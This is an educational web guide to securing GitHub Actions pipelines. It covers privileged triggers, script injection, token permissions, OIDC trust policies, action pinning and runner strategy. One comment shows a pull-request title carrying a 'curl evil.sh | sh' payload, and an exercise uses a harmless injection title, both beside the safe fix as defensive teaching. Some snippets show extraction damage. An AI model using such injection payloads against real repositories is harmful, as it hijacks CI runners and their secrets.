



← Back to student guides

GitHub Actions

CI/CD

3 levels

139 sections



The Complete Guide

Taught at three levels, written three ways. Pick Beginner, Mid-level, or Senior, then read the full explanation, a fast interview review, or the practical tips and traps for that level.

EVENT

WORKFLOW

JOB

STEP

16

sections

15

examples





work you own when CI/CD is your responsibility rather than your tool.

Where this picks up

Topic from earlier levels	What this level adds
Triggers	The trust model : which triggers hand fork-influenced code a privileged token
Expressions	Script injection : why event data must never reach a shell
Secrets and <code>GITHUB_TOKEN</code>	Least-privilege <code>permissions</code> , GitHub App tokens, and OIDC instead of stored keys
Caching	Container layer caching with Buildx, and cache poisoning
Actions you consume	Actions you author , and supply-chain controls on the ones you use
Reusable workflows	Running them as a versioned platform across sixty repositories
Runners	Self-hosted strategy, ephemerality, isolation, and the cost model
Environments	Their role as an identity boundary, not just an approval gate
Matrix and artifacts	Provenance, attestations, and immutable deploy references
Debugging	Fleet observability metrics and incident playbooks
new	Container builds · custom actions · ML delivery · migration · review checklist



which secrets, what token

Every workflow run has three properties that together determine your exposure: **whose code executes**, **whether secrets are present**, and **what the token can do**. Most real GitHub Actions vulnerabilities are those three lining up badly.

SAFE BY DESIGN: GITHUB WITHHOLDS THE DANGEROUS PARTS

`pull_request` from a fork

Runs `fork` code · **no secrets** · read-only token

`push` · same-repo PR

Runs `your` code · secrets · token as configured

Artifacts

The safe bridge between an untrusted build and a privileged publish



PRIVILEGED TRIGGERS. THEY UNDO THAT PROTECTION ON PURPOSE

`pull_request_target`

Base-repo code · **secrets** · writable token

`workflow_run`

Base-repo code · secrets · writable token

`issue_comment`

Base-repo code · secrets · writable token



+ `checkout` `head.sha`



Label, comment, triage, and never check out the head

Split privilege

Unprivileged job builds; privileged job publishes the artifact

The pattern to internalise: the top lane is safe because secrets are absent, and the middle lane exists because a maintainer needed to label a PR. Combining a privileged trigger with a checkout of fork code is how real repositories have been compromised. The two safe shapes below are the alternatives.

Trigger	Executes code from	Secrets	Token
<code>push</code>	Your repository	Yes	As configured
<code>pull_request</code> , same-repo branch	Your repository	Yes	As configured
<code>pull_request</code> from a fork	The fork	No	Read-only
<code>pull_request_target</code>	The base repository	Yes	Write-capable
<code>workflow_run</code>	The base repository	Yes	Write-capable
<code>issue_comment</code>	The base repository	Yes	Write-capable

Read that until the pattern is obvious: GitHub deliberately makes fork pull requests harmless by withholding secrets and downgrading the token. The dangerous triggers are exactly the ones that undo that protection because a maintainer needed to label a PR or post a comment.

The single most dangerous pattern in GitHub Actions

`pull_request_target` combined with checking out `github.event.pull_request.head.sha` . That executes **untrusted fork code** in a job that **holds your secrets and a writable token**. Any build script, test fixture, or lifecycle hook in the fork can print every secret you own. Numerous real repositories have been compromised exactly this way.

Two safe shapes:



```
# Safe: reads metadata from the event, never runs fork code
on: pull_request_target
permissions:
  pull-requests: write
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/labeler@v5          # no checkout of head.sha anywhere
```

YAML

Copy

```
# Safe: split privilege. Unprivileged job builds; privileged job publishes.
# 1) .github/workflows/pr-build.yml - no secrets, fork code runs here
on: pull_request
permissions: { contents: read }
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with: { name: preview, path: dist/ }

# 2) .github/workflows/pr-publish.yml - has secrets, never runs fork code
on:
  workflow_run:
    workflows: ['pr-build']
    types: [completed]
permissions: { contents: read, pull-requests: write }
jobs:
  publish:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: preview
          run-id: ${ github.event.workflow_run.id }
```



► TRY IT: IN A THROWAWAY REPOSITORY

1. Add a `pull_request` workflow that echoes whether a secret is set, then open a pull request **from a fork** and confirm it is empty.
2. Open a pull request from a branch in the same repository and confirm the secret **is** present.
3. Print `github.event_name` and `github.ref` in both cases.

Expected result – the fork run has no secret and a read-only token; the same-repo run has both. Having watched GitHub withhold the credential yourself makes the whole table above concrete rather than memorised.

Script injection

You have used expressions since Beginner. At this level the concern flips: event data is **attacker-controlled text**, and interpolating it into a shell is interpolating it into source code.

YAML

Copy

```
# Vulnerable. A PR titled "; curl evil.sh | sh ;" executes on your runner.
- run: echo "Title: ${github.event.pull_request.title}"

# Safe. The value arrives as data through the environment, never as shell source.
- env:
  TITLE: ${github.event.pull_request.title}
  run: echo "Title: $TITLE"
```

The rule is absolute and easy to apply: `${github.event.* }` **never appears inside a `run` body**. Branch names, issue titles, comment bodies, commit messages, and author names are all attacker-controlled.

The same applies to `actions/github-script` and to any action input you build from event data:



```
# Vulnerable – the payload is spliced into JavaScript source
- uses: actions/github-script@v7
  with:
    script: console.log("${{ github.event.issue.title }}")

# Safe – read it from the environment at runtime
- uses: actions/github-script@v7
  env:
    TITLE: ${{ github.event.issue.title }}
  with:
    script: console.log(process.env.TITLE)
```

► TRY IT: ON A REPOSITORY YOU OWN, NOWHERE ELSE

1. Add a step with the vulnerable form: `run: echo "Title: ${{ github.event.pull_request.title }}"` .
2. Open a pull request titled `test"; echo INJECTED; #` and read the log.
3. Switch to the `env` form and re-run with the same title.

Expected result – the vulnerable version prints `INJECTED` , because your title became a command. The `env` version prints the title as literal text. Five minutes here is worth more than any amount of reading about injection.

Permissions: least privilege

Mid mentioned `permissions` in passing. The whole mechanism is one block of YAML.

YAML

Copy

```
permissions:
  contents: read          # a read-only floor for the entire workflow

jobs:
  release:
```



```
id-token: write          # required for OIDC
runs-on: ubuntu-latest
```

The mechanic that makes this powerful: **declaring any scope sets every undeclared scope to none** . A single `contents: read` line at the top removes the token's ability to push, tag, comment, or publish, and you then grant back only what a specific job needs.

Scope	Grants
<code>contents</code>	Read/write repository code, tags, releases
<code>pull-requests</code>	Comment on, label, and modify PRs
<code>issues</code>	Same for issues
<code>packages</code>	Push to GitHub Packages / GHCR
<code>id-token</code>	Request an OIDC token: required for cloud federation
<code>actions</code>	Manage workflow runs and artifacts
<code>attestations</code>	Write build provenance

Set the **organisation default** to read-only contents and make workflows opt in. That one setting makes every new repository safe by default rather than dependent on each author remembering.

Two limits drive real architecture:

A reusable workflow receives the caller's token, so its `permissions` can never exceed the caller's. Declaring them in the callee documents the contract and fails loudly when a caller is too restrictive.

GITHUB_TOKEN cannot reach another repository. Cross-repository automation needs a GitHub App installation token or a fine-grained PAT, and prefer the App. A PAT carries a human's full access, does not expire with the job, and appears in the audit trail as that person rather than as automation.



```
- uses: actions/create-github-app-token@v1
  id: app-token
  with:
    app-id: ${{ vars.APP_ID }}
    private-key: ${{ secrets.APP_PRIVATE_KEY }}
    repositories: other-repo

- env:
  GH_TOKEN: ${{ steps.app-token.outputs.token }} # scoped, short-lived
  run: gh release create v1.0.0 --repo my-org/other-repo
```

► TRY IT

1. Write a job with no `permissions` block that uses `GITHUB_TOKEN` to create a label via the API. Confirm it succeeds.
2. Add `permissions: { contents: read }` at workflow level and re-run.
3. Add `issues: write` to just that job and re-run again.
4. Check your organisation's default token permission setting.

Expected result – step two fails with a 403: declaring one scope zeroed everything else, which is the entire mechanism. Step three passes. You have now seen least privilege enforced rather than described.

OIDC: deployment without stored credentials

Beginner and Mid stored cloud keys as secrets. At this level you remove them entirely. The runner requests a short-lived signed token, and the cloud exchanges it for temporary credentials.

YAML

Copy

```
permissions:
  id-token: write # allow the job to request an identity token
```



```
deploy:
  runs-on: ubuntu-latest
  environment: production
  steps:
    - uses: aws-actions/configure-aws-credentials@v4
      with:
        role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
        aws-region: ${{ vars.AWS_REGION }}
    - run: aws sts get-caller-identity      # prove the identity before deploying
```

1 The job requests a token

GitHub signs a short-lived JWT whose claims describe the repository, ref, environment, and workflow.

2 The cloud verifies the signature

GitHub's OIDC provider is registered once as a trusted identity provider in the account.

3 The trust policy inspects the claims

This is the part that matters, and the part that is usually wrong.

4 Temporary credentials are issued

Valid for the job and then gone. Nothing to rotate, nothing to leak from a log.

Where OIDC is almost always misconfigured

A trust policy matching `repo:my-org/*:*` means **any branch of any repository in the organisation** can assume that role, including a branch an attacker opens a pull request from. Constrain the `sub` claim: `repo:my-org/my-repo:ref:refs/heads/main`, or better `repo:my-org/my-repo:environment:production`, which makes the environment's approval gate part of the identity itself.

Verify the constraint rather than trusting it. Open a pull request from a throwaway branch with a workflow that tries to assume the role. It should be refused. If it succeeds, your condition is too broad and the approval gate is decorative.



1. Set up a cloud role whose trust policy is deliberately broad: `repo:YOUR-ORG/*:*` . Assume it from a workflow and run `sts get-caller-identity` .
2. Now push a branch called `attacker-test` with the same workflow and confirm it **also** succeeds.
3. Tighten the `sub` claim to `repo:YOUR-ORG/YOUR-REPO:environment:production` and add `environment: production` to the job.
4. Run from `attacker-test` again.

Expected result – the broad policy lets any branch assume the role. That is the misconfiguration in production systems today. After tightening, the throwaway branch is refused. Never ship an OIDC role without running step four.

Supply chain

A `uses:` line is a decision to execute somebody else's code in a job that may hold your credentials. Mid taught you to pin tags; the full control set is wider.

Control	Removes
Pin third-party actions to a full commit SHA	A moving tag being repointed at malicious code
Dependabot on <code>github-actions</code>	Those pins going stale and unpatched
Organisation policy allowing only selected actions	An unvetted action entering through any repository
Vendor critical actions into your own organisation	Dependence on an account you do not control
<code>permissions: contents: read</code> by default	A compromised step's ability to push
Environment protection on deploy jobs	Any automated path to production without review



Artifact attestations

Being unable to prove which workflow built an artifact

YAML

Copy

```
# The pin, with the human-readable version in a trailing comment
- uses: actions/checkout@8f4b7f84864484a7bf31766abe9204da3cbe65b3 # v3.5.0
```

.github/dependabot.yml

Copy

```
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    groups:
      actions:
        patterns: ['*'] # one pull request a week instead of fifteen
```

Pinning without updating is its own failure: a frozen action is an unpatched one. The two controls only work together.

Two less obvious surfaces worth raising unprompted:

Caches are a write surface. A pull request branch can poison a cache that a later `main` run restores. Never restore something and then execute it without verification, which is why you cache dependency `downloads` rather than installed, executable trees.

Self-hosted runners on public repositories are dangerous, because any fork pull request can execute code on a machine that persists between jobs.

► TRY IT

1. Run the audit one-liner over a real repository: list every third-party `uses:` that is not pinned to a 40-character SHA.
2. Pin one of them, keeping the version in a trailing comment.



Expected result – most repositories have several unpinned third-party actions. The Dependabot pull request is what makes pinning sustainable, since pinning without it leaves a frozen, unpatched dependency.

Container builds and layer caching

Mid cached dependencies. Container builds need a different cache entirely, and it is usually the slowest job in a pipeline.

YAML

Copy

```
permissions:
  contents: read
  packages: write
  attestations: write
  id-token: write

steps:
  - uses: actions/checkout@v4
  - uses: docker/setup-buildx-action@v3

  - uses: docker/login-action@v3
    with:
      registry: ghcr.io
      username: ${github.actor}
      password: ${secrets.GITHUB_TOKEN}

  - id: push
    uses: docker/build-push-action@v6
    with:
      push: ${github.event_name != 'pull_request'}
      tags: |
        ghcr.io/${github.repository}:sha-${github.sha}
        ghcr.io/${github.repository}:latest
      cache-from: type=gha
      cache-to: type=gha,mode=max
```



```
- uses: actions/attest-build-provenance@v1
  with:
    subject-name: ghcr.io/${{ github.repository }}
    subject-digest: ${ steps.push.outputs.digest }
    push-to-registry: true
```

Decision	Why
Buildx	BuildKit gives a real layer cache, multi-platform builds, and exportable cache backends
<code>type=gha</code>	Right for one repository; a registry cache when many repos or self-hosted runners share layers
<code>mode=max</code>	Exports intermediate layers too: better hit rate on multi-stage builds
<code>push: false</code> on PRs	A fork must never be able to publish to your registry
<code>:sha-...</code> tag	Immutable and traceable; <code>:latest</code> is for humans, never a deploy reference
<code>provenance</code> + attestation	Proves which workflow and commit produced the image

`linux/arm64` under emulation is several times slower than native. For anything on the critical path, build each architecture on its own native runner and merge the manifests.

► TRY IT

1. Build a multi-stage image in CI with `cache-to: type=gha,mode=min` . Run twice and note the build time.
2. Change to `mode=max` and run twice more.
3. Open a pull request and confirm `push:` evaluates false so nothing is published.
4. Inspect the pushed image's provenance attestation.

Expected result — `mode=min` barely helps because only the final stage is cached; `mode=max` exports the intermediate layers and the second build is faster. The pull



Authoring your own actions

You have consumed actions since Beginner and written composite actions in Mid. When a capability belongs to many repositories, publish it properly.

Type	Runs as	Reach for it when	Watch out for
Composite	Steps inside the caller's job	Packaging a repeated step sequence	<code>shell:</code> required on every <code>run</code>
JavaScript	Node on the runner	Real logic, API calls, cross-platform	The bundled <code>dist/</code> must be committed
Docker container	A container on the runner	An arbitrary toolchain, any language	Linux runners only; image pull cost per job

action.yml

Copy

```
name: Deploy to our platform
description: Resolves the target environment and triggers a deployment
inputs:
  environment:
    description: Target environment name
    required: true
  wait:
    description: Block until the deployment settles
    default: 'true'
outputs:
  url:
    description: Public URL of the deployment
runs:
  using: node20
  main: dist/index.js
  post: dist/cleanup.js      # runs even if the job fails – good for teardown
branding:
```



src/index.js

Copy

```
const core = require('@actions/core')
const github = require('@actions/github')

async function run() {
  try {
    const environment = core.getInput('environment', { required: true })
    const wait = core.getBooleanInput('wait')

    core.info(`Deploying to ${environment}`)
    core.setSecret(process.env.DEPLOY_TOKEN) // mask it in logs

    const url = await deploy(environment, { wait })
    core.setOutput('url', url)
    await core.summary.addHeading('Deployed').addLink(url, url).write()
  } catch (error) {
    core.setFailed(error.message)
  }
}

run()
```

JavaScript actions start fastest and behave identically on all three operating systems, but dependencies are not installed for you, so bundle with [@vercel/ncc](#) and commit the output. Docker actions are the most flexible and the slowest. Composite actions cannot define jobs, matrices, or their own runner; when you need those, you need a reusable workflow.

Version a published action the way the ecosystem expects: release [v1.2.3](#) and keep a mutable [v1](#) tag pointing at the newest compatible release.

► TRY IT

1. Write a JavaScript action that reads one input, sets one output, and writes to the job summary via `core.summary`.
2. Bundle it with `ncc build src/index.js -o dist` and commit `dist/`.
3. Reference it locally with `uses: ../github/actions/my-action` and read its output.
4. Now delete `dist/` and run again.
5. Tag it `v1.0.0`, then create a `v1` tag pointing at the same commit.



published action follows, and now you know why.

Reusable workflows as a platform

Mid showed the mechanism. At this level you are running it as a product for other teams.

01 One repository owns the standard

An organisation `.github` repository holding reusable workflows and composite actions, with CODEOWNERS on the workflow directory so changes are reviewed by the people who carry the pager.

02 Version with a moving major tag

Consumers pin `@v2`. You release `v2.7.0` and move `v2`. A fix reaches sixty repositories without sixty pull requests, and a breaking change becomes `v3` with a migration note rather than a silent surprise.

03 Canary before you move the tag

One low-risk repository pins the exact patch release. Green for a day, then move the major tag. Skip this and one bad release breaks every team simultaneously.

04 Treat inputs as a public API

Types, defaults, descriptions. Removing an input is a breaking change even if one repository used it, and the failure lands on somebody else's pull request.

05 Pass secrets explicitly

`secrets: inherit` hands the callee everything the caller can see. Listing the two it needs documents the contract and bounds the damage from a bad release.

06 Enforce with policy, not documentation



The failure mode of a shared pipeline

A team needs one small change, cannot get it upstream quickly, and forks. Six months later there are eleven forks and no standard. The fix is **turnaround time** on upstream changes, not a policy. If a reasonable request takes two weeks, forking is the rational choice and you will lose.

► TRY IT

1. Publish a reusable workflow in one repository, tag it `v1.0.0`, and add a moving `v1` tag.
2. Call it from a second repository pinned to `@v1`.
3. Make a breaking change, release `v1.1.0`, and move `v1` to it. Watch the consumer break without changing.
4. Revert by moving `v1` back, then redo it as `v2` with the consumer opting in.

Expected result – step three is the incident you are trying to prevent: one tag move breaking every consumer at once. Step four is the discipline that prevents it, and feeling the difference is more persuasive than any policy document.

Runners: strategy and cost

Situation	Choice	Why
Public repository, ordinary CI	GitHub-hosted	Free minutes, fresh machine, no state to leak
Private repository, CPU-bound	Larger hosted runner	Same isolation model, more cores, no fleet to run



GPU, licensed tooling, VPC-only service	Self-hosted, ephemeral	The only options that reach the hardware or network
Public repository with fork PRs	Never self-hosted	Untrusted code plus persistent state
Many repositories, one custom image	Hosted runner with container:	The image is the standard; the runner stays disposable

If you run self-hosted, the non-negotiables are: **ephemeral**, meaning one job per runner and then destroy the VM or container; scoped to specific repositories rather than the whole organisation; in a network segment that cannot reach production directly; and never schedulable by a fork-triggered workflow.

On cost: Windows minutes bill at roughly twice Linux and macOS at roughly ten times. A matrix that includes macOS "for completeness" can become most of your bill, and larger hosted runners are almost always cheaper than the engineering time to operate your own fleet.

► TRY IT

1. Run the same job on `ubuntu-latest` , `windows-latest` , and `macos-latest` and record each duration.
2. Multiply by the billing factors (Windows ×2, macOS ×10) to get the true relative cost.
3. Open **Settings** → **Billing** → **Actions** and find which workflow consumes the most minutes.

Expected result – a macOS job that takes the same wall-clock time costs roughly ten times as much. The billing page usually reveals one workflow nobody knew was expensive, often a matrix that grew an axis.

Observability

"CI is slow" is an opinion. Numbers make it a priority, and there are only four you need.



Median and p95 duration per workflow	THE REST API FOR WORKFLOW RUNS
Failure rate, split into real failures and flakes	Run conclusions plus re-run counts
Queue time	Gap between run creation and job start
Cost by workflow and runner label	Actions usage metrics

YAML

Copy

```
# Pull the numbers into a scheduled report
- env:
  GH_TOKEN: ${ secrets.GITHUB_TOKEN }
run: |
  gh api -X GET '/repos/${ github.repository }/actions/runs' \
    -f per_page=100 --jq '
    [.workflow_runs[]
      | select(.conclusion != null)
      | { name, conclusion,
        mins: (((.updated_at|fromdate) - (.run_started_at|fromdate)) / 60) }]
    | group_by(.name)[]
    | { workflow: .[0].name,
      runs: length,
      failed: [.] | select(.conclusion == "failure") | length,
      p95: (sort_by(.mins) | .[(length * 0.95) | floor].mins) }' \
    | tee -a "$GITHUB_STEP_SUMMARY"
```

Be careful with debugging actions that open an interactive shell on a runner. They are useful and they are also a live session on a machine holding your secrets, so restrict them to jobs that have none.

► TRY IT

1. Run the `gh api` command above against a busy repository and read the p95 per workflow.
2. Count how many runs have `run_attempt > 1`. That is your re-run rate, a proxy for flakiness.
3. Compute queue time as the gap between `created_at` and `run_started_at`.
4. Put all of it into a scheduled workflow that writes to the step summary.



a reusable piece of work.

Machine-learning delivery

If your pipelines build models rather than binaries, the shape changes. CI for software asks "does this work?"; CI for a model asks "is it good enough, and can I prove what produced it?"

✓ Carries over unchanged

- Lint, type-check, unit tests on the training code
- Dependency caching, matrices, artifacts
- Environments and approvals for promotion
- OIDC for cloud access

✗ New concerns

- Data validation as a gate, not an afterthought
- Metric thresholds that fail the job rather than log a number
- Comparison against the currently deployed model
- Lineage: which commit, dataset version, and run produced this artifact
- GPU runners, long jobs, and the six-hour job ceiling

State the architectural answer explicitly, because it demonstrates judgement: **Actions is the orchestrator and the audit trail, not the compute.** It validates cheaply, submits work to a platform built for training, waits, gates on the returned metrics, and records the promotion. Proposing a six-hour GPU job on a hosted runner reads as inexperience.

.github/workflows/train.yml

Copy

```
name: Train and gate

on:
  workflow_dispatch:
    inputs:
      dataset:
        description: Dataset version to train on
```



```
permissions:
  contents: read
  id-token: write

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with: { python-version: '3.11', cache: pip }
      - run: pip install -r requirements.txt
      - name: Validate before spending money on GPUs
        run: python -m pipeline.validate --dataset "${{ inputs.dataset }}"

  train:
    needs: validate
    runs-on: ubuntu-latest
    timeout-minutes: 60
    outputs:
      run-id: ${{ steps.submit.outputs.run-id }}
    steps:
      - uses: actions/checkout@v4
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ vars.TRAINING_ROLE_ARN }}
          aws-region: ${{ vars.AWS_REGION }}
      - id: submit
        name: Submit to the platform built for this, and wait
        run: python -m pipeline.submit --wait --dataset "${{ inputs.dataset }}"

  gate:
    needs: train
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Compare against what is deployed today
        run: |
          python -m pipeline.compare \
            --candidate "${{ needs.train.outputs.run-id }}" \
            --baseline production \
            --min-delta 0.0
      - name: Put the numbers where the reviewer will see them
```



```
promote:
  needs: gate
  runs-on: ubuntu-latest
  environment: model-production
  permissions: { id-token: write, contents: read }
  steps:
    - run: python -m pipeline.promote "${{ needs.train.outputs.run-id }}"
```

Four decisions there are the whole lesson. Validation runs on a cheap runner before an expensive one is provisioned. The gate is a **comparison against production**, not a hard-coded threshold, so it survives a changing dataset. Metrics go to the step summary so the approver does not download a zip. Promotion is a separate job behind an environment, which buys the approval, the scoped credentials, and a deployment record naming the commit and the run.

► TRY IT

1. Build the four-job shape with stubs: `validate` exits non-zero on a bad input file, `train` just sleeps and emits a run id, `gate` compares two numbers, `promote` sits behind an environment.
2. Feed it a deliberately malformed dataset and confirm it fails in `validate`, before any expensive job starts.
3. Make the candidate metric worse than the baseline and confirm `gate` blocks promotion.
4. Write the comparison to the step summary and approve the promotion from the run page.

Expected result – the pipeline refuses bad data cheaply and refuses a worse model politely, with the numbers visible to whoever approves. That shape is the whole architectural argument: Actions orchestrates and records; it does not train.

Migrating from an existing CI system

You will be asked this. The answer that lands is a sequence, not a tool comparison.

01 Inventory the existing jobs



02 **Port the leaf jobs first**

The ones nothing depends on. They prove the runner story, the network access, and the credential model with minimal risk.

03 **Run both systems in parallel**

Actions non-blocking, so a gap in your port does not block anyone from merging.

04 **Move required checks one at a time**

As each Actions job earns trust, switch branch protection to it and retire the old one.

05 **Decommission deliberately**

Old CI kept "just in case" becomes an unpatched server with production credentials.

The important judgement: **do not port the old pipeline verbatim**. A great deal of Jenkinsfile logic exists to work around a persistent workspace and shared mutable state, problems Actions does not have. Reimplementing those workarounds imports complexity you no longer need.

► **TRY IT**

1. Take one real job from an existing CI system and list what it needs: triggers, credentials, network reach, and required-check status.
2. Port it to Actions as a **non-required** check running in parallel with the original.
3. Compare results over a few days, then flip branch protection to the new check.
4. Note anything in the original that exists only to reset a dirty workspace, and delete it rather than porting it.

Expected result – the parallel period is what makes migration safe, and that last step is where most of the simplification comes from: a large share of legacy CI logic exists to work around persistent state that Actions does not have.



Most incidents are prevented at review time, not at runtime. This is the whole series compressed into what you look for in a workflow pull request.

Check	Looking for
<code>on:</code> triggers	Any <code>pull_request_target</code> , <code>workflow_run</code> , or <code>issue_comment</code> . Each gives fork-influenced runs a privileged token
Checkout ref	A <code>pull_request_target</code> job checking out <code>head.sha</code> : the classic exfiltration pattern
<code>permissions</code>	Present, minimal, widened per job rather than per workflow
Third-party <code>uses:</code>	SHA-pinned, from a recognisable source, covered by Dependabot
Interpolation	No <code>\${{ github.event.* }}</code> inside a <code>run</code> body or a <code>github-script</code> block
Secrets	Never echoed, never in a job that runs untrusted code, environment-scoped where possible
<code>concurrency</code>	Present; cancelling on CI, not cancelling on deploys
<code>timeout-minutes</code>	Present on every job
Cache	Key hashes a lockfile; nothing executable is restored and then run unverified
Required checks	Job names unchanged, or branch protection updated in the same change

Make the checklist enforceable

CODEOWNERS on `.github/workflows/**` routes every workflow change to the team that owns CI. Combined with an organisation policy allowing only selected actions, the checklist stops depending on whoever happens to pick up the review.

► TRY IT



3. Fix the two highest-risk findings and open a pull request.
4. Add CODEOWNERS on `.github/workflows/**` so future changes route to your team.

Expected result – almost every unreviewed workflow fails at least three rows, usually a missing `permissions` floor, an unpinned third-party action, and no `timeout-minutes`. CODEOWNERS is what stops the list regrowing.

The complete picture

The series' final pipeline: every level's topics, hardened.

`.github/workflows/release.yml`

Copy

```
name: Release

on:
  push:
    branches: [main]
    paths-ignore: ['docs/**', '**/*.md']

concurrency:
  group: ${ github.workflow }-${ github.ref }
  cancel-in-progress: false          # never cancel a release mid-flight

permissions:
  contents: read                    # read-only floor

jobs:
  test:
    uses: my-org/.github/workflows/reusable-ci.yml@v2
    with:
      python-version: '3.12'
    secrets:
      CODECOV_TOKEN: ${ secrets.CODECOV_TOKEN }

image:
```



```
permissions:
  contents: read
  packages: write
  attestations: write
  id-token: write
outputs:
  digest: ${ steps.push.outputs.digest }
steps:
  - uses: actions/checkout@v4
    with:
      persist-credentials: false          # no push token left in the workspace

  - uses: docker/setup-buildx-action@v3
  - uses: docker/login-action@v3
    with:
      registry: ghcr.io
      username: ${ github.actor }
      password: ${ secrets.GITHUB_TOKEN }

  - id: push
    uses: docker/build-push-action@v6
    with:
      push: true
      tags: ghcr.io/${ github.repository }:sha-${ github.sha }
      cache-from: type=gha
      cache-to: type=gha,mode=max
      provenance: true
      sbom: true

  - uses: actions/attest-build-provenance@v1
    with:
      subject-name: ghcr.io/${ github.repository }
      subject-digest: ${ steps.push.outputs.digest }
      push-to-registry: true

deploy:
  needs: image
  runs-on: ubuntu-latest
  environment:
    name: production                      # approval gate + scoped identity
    url: https://app.example.com
  concurrency:
    group: deploy-production
    cancel-in-progress: false
```



steps:

```
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: ${vars.DEPLOY_ROLE_ARN} # sub pinned to this env
    aws-region: ${vars.AWS_REGION}

- name: Deploy by immutable digest
  run: |
    ./deploy.sh --image "ghcr.io/${github.repository}:${needs.image.outputs.

- name: Record the deployment
  if: always()
  run: |
    {
      echo "### Deployed"
      echo "- commit: \`${github.sha}\`"
      echo "- digest: \`${needs.image.outputs.digest}\`"
      echo "- by: @${github.actor}"
    } >> "$GITHUB_STEP_SUMMARY"
```

► TRY IT: THE FINAL EXERCISE

1. Build this pipeline end to end on a real project: reusable CI, an image built with provenance, and an OIDC deploy behind an environment.
2. Verify each control actively: try to deploy from a non- `main` branch, try to push an image from a fork pull request, and try to assume the deploy role from a throwaway branch.
3. Confirm the deployed reference is a digest, not a tag.
4. Then hand it to a colleague and ask them to run the review checklist against it.

Expected result – three refusals and one green deploy. A control you have never seen refuse anything is decoration. This exercise is the difference between a pipeline that looks hardened and one that is.

Where the series leaves you



BEGINNER

make it work



MID

make it fast and reusable



SENIOR

make it safe and scalable

You should now be able to look at any workflow and see not just what it does but what it [permits](#) : which triggers give fork-influenced code a privileged token, what that token can reach, whether event data flows into a shell, whether third-party code is pinned, whether a credential could reach a log, and whether there is an automated path to production without a human in it.

That review instinct is what you take with you.



PREVIOUS

Mid-level · Tips & Tricks

NEXT UP

Senior · Interview Review



Free MLOps and AI learning for engineers across the Middle East and North Africa — live sessions, three structured roadmaps, open cohort courses, study groups, and mentorship. We also train, staff, and build for companies across the region.



LEARN



MLOps MENA
COMMUNITY

العربية



Join the Community ↗



Courses

The MLOps Practitioner

Sessions

Articles

COMMUNITY

Meet the team

Services for companies

FAQ

Contact us

Privacy Policy

WHERE WE ARE

WhatsApp

Discord

LinkedIn

X

YouTube

GitHub

Zomra



Brainsmingle space

Free to join this week with code **FREECORETEAM**